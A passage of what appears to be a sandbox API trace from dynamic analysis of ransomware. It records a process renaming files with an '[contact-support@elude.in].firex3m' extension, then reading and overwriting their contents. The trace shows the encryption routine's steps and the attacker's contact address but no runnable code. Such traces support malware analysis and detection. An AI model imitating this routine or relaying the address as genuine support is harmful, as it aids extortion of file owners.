(dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.544] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.662] Sleep (dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.138] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.299] Sleep (dwMilliseconds=0x1) [0080.321] Sleep (dwMilliseconds=0x1) [0080.340] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.439] Sleep (dwMilliseconds=0x1) [0080.505] Sleep (dwMilliseconds=0x1) [0080.524] Sleep (dwMilliseconds=0x1) [0080.542] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.565] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.617] Sleep (dwMilliseconds=0x1) [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.701] Sleep (dwMilliseconds=0x1) [0080.725] Sleep (dwMilliseconds=0x1) [0080.763] Sleep (dwMilliseconds=0x1) [0080.790] Sleep (dwMilliseconds=0x1) [0080.802] Sleep (dwMilliseconds=0x1) [0080.822] Sleep (dwMilliseconds=0x1) [0080.833] Sleep (dwMilliseconds=0x1) [0080.850] Sleep (dwMilliseconds=0x1) [0080.886] Sleep (dwMilliseconds=0x1) [0080.896] Sleep (dwMilliseconds=0x1) [0080.913] Sleep (dwMilliseconds=0x1) [0080.927] Sleep (dwMilliseconds=0x1) [0080.938] Sleep (dwMilliseconds=0x1) [0080.961] Sleep (dwMilliseconds=0x1) [0080.974] Sleep (dwMilliseconds=0x1) [0080.994] Sleep (dwMilliseconds=0x1) [0081.000] Sleep (dwMilliseconds=0x1) [0081.031] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.284] Sleep (dwMilliseconds=0x1) [0081.434] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.539] Sleep (dwMilliseconds=0x1) [0081.562] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.789] Sleep (dwMilliseconds=0x1) [0081.832] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.885] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.133] Sleep (dwMilliseconds=0x1) [0082.151] Sleep (dwMilliseconds=0x1) [0082.158] Sleep (dwMilliseconds=0x1) [0082.194] Sleep (dwMilliseconds=0x1) [0082.215] Sleep (dwMilliseconds=0x1) [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.295] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.637] Sleep (dwMilliseconds=0x1) [0082.683] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.776] Sleep (dwMilliseconds=0x1) [0082.822] Sleep (dwMilliseconds=0x1) [0082.870] Sleep (dwMilliseconds=0x1) [0082.916] Sleep (dwMilliseconds=0x1) [0082.968] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.055] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.242] Sleep (dwMilliseconds=0x1) [0083.293] Sleep (dwMilliseconds=0x1) [0083.337] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.738] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.177] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.963] Sleep (dwMilliseconds=0x1) [0086.083] Sleep (dwMilliseconds=0x1) [0086.186] Sleep (dwMilliseconds=0x1) [0086.237] Sleep (dwMilliseconds=0x1) [0086.293] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.587] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.022] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini", len=0x49 | out: pbstr=0x69bff7c*="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 1 [0087.022] GetProcessHeap () returned 0x630000 [0087.022] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x1c) returned 0x6e90d0 [0087.022] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x604 [0087.022] CloseHandle (hObject=0x604) returned 1 [0087.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.023] MoveFileW (lpExistingFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.037] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DESKTO~1.FIR")) returned 0x6d5280 [0087.037] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0087.038] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x604 [0087.038] GetProcessHeap () returned 0x630000 [0087.038] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650658 [0087.038] GetProcessHeap () returned 0x630000 [0087.038] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64fec8 [0087.038] SetFilePointerEx (in: hFile=0x604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.038] ReadFile (in: hFile=0x604, lpBuffer=0x650658, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x650658*, lpNumberOfBytesRead=0x69bff0c*=0x80, lpOverlapped=0x0) returned 1 [0087.038] GetProcessHeap () returned 0x630000 [0087.038] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0087.038] SetFilePointerEx (in: hFile=0x604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.039] WriteFile (in: hFile=0x604, lpBuffer=0x64fec8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x64fec8*, lpNumberOfBytesWritten=0x69bff0c*=0x80, lpOverlapped=0x0) returned 1 [0087.039] SetFilePointerEx (in: hFile=0x604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.039] WriteFile (in: hFile=0x604, lpBuffer=0x64ff47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x64ff47*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.039] SetFilePointerEx (in: hFile=0x604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.039] WriteFile (in: hFile=0x604, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.039] CloseHandle (hObject=0x604) returned 1 [0087.040] GetProcessHeap () returned 0x630000 [0087.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64fec8 | out: hHeap=0x630000) returned 1 [0087.040] GetProcessHeap () returned 0x630000 [0087.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650658 | out: hHeap=0x630000) returned 1 [0087.040] GetProcessHeap () returned 0x630000 [0087.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0087.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.086] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf9d31b4f, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x69bfd20, dwReserved1=0x650658, cFileName="desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DESKTO~1.FIR")) returned 0x6d51c0 [0087.086] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.086] Sleep (dwMilliseconds=0x1) [0087.089] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", len=0x2c | out: pbstr=0x69bff7c*="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 1 [0087.090] GetProcessHeap () returned 0x630000 [0087.090] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1388 | out: hHeap=0x630000) returned 1 [0087.090] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0087.179] CloseHandle (hObject=0x66c) returned 1 [0087.197] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.205] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.205] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GETCUR~1.FIR")) returned 0x6d53c0 [0087.205] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0087.205] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0087.205] GetProcessHeap () returned 0x630000 [0087.206] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650238 [0087.206] GetProcessHeap () returned 0x630000 [0087.206] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650658 [0087.206] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.206] ReadFile (in: hFile=0x66c, lpBuffer=0x650238, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x650238*, lpNumberOfBytesRead=0x69bff0c*=0x80, lpOverlapped=0x0) returned 1 [0087.207] GetProcessHeap () returned 0x630000 [0087.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0087.207] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.208] WriteFile (in: hFile=0x66c, lpBuffer=0x650658*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x650658*, lpNumberOfBytesWritten=0x69bff0c*=0x80, lpOverlapped=0x0) returned 1 [0087.208] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.208] WriteFile (in: hFile=0x66c, lpBuffer=0x6506d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6506d7*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.208] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.208] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.208] CloseHandle (hObject=0x66c) returned 1 [0087.209] GetProcessHeap () returned 0x630000 [0087.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650658 | out: hHeap=0x630000) returned 1 [0087.209] GetProcessHeap () returned 0x630000 [0087.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650238 | out: hHeap=0x630000) returned 1 [0087.209] GetProcessHeap () returned 0x630000 [0087.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0087.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.209] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xf9ed1a18, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x69bfd20, dwReserved1=0x650238, cFileName="GetCurrentRollback.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GETCUR~1.FIR")) returned 0x6d5440 [0087.209] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0087.209] Sleep (dwMilliseconds=0x1) [0087.558] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", len=0x2c | out: pbstr=0x69bff7c*="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 1 [0087.558] GetProcessHeap () returned 0x630000 [0087.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12c8, Size=0xc) returned 0x6b12f8 [0087.575] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0087.575] CloseHandle (hObject=0x680) returned 1 [0087.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.575] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.585] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0087.585] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.585] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0087.586] GetProcessHeap () returned 0x630000 [0087.586] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f07720 [0087.586] GetProcessHeap () returned 0x630000 [0087.586] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f12b50 [0087.587] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.587] ReadFile (in: hFile=0x648, lpBuffer=0x6f07720, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f07720*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.486] GetProcessHeap () returned 0x630000 [0093.486] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0093.486] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.486] WriteFile (in: hFile=0x648, lpBuffer=0x6f12b50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f12b50*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.487] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.487] WriteFile (in: hFile=0x648, lpBuffer=0x6f1df4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1df4f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.487] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.487] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.487] CloseHandle (hObject=0x648) returned 1 [0093.489] GetProcessHeap () returned 0x630000 [0093.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f12b50 | out: hHeap=0x630000) returned 1 [0093.490] GetProcessHeap () returned 0x630000 [0093.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f07720 | out: hHeap=0x630000) returned 1 [0093.490] GetProcessHeap () returned 0x630000 [0093.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0093.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.490] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfdabb2e8, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x141ce, dwReserved0=0x9b47496, dwReserved1=0x6f07718, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5500 [0093.490] FindClose (in: 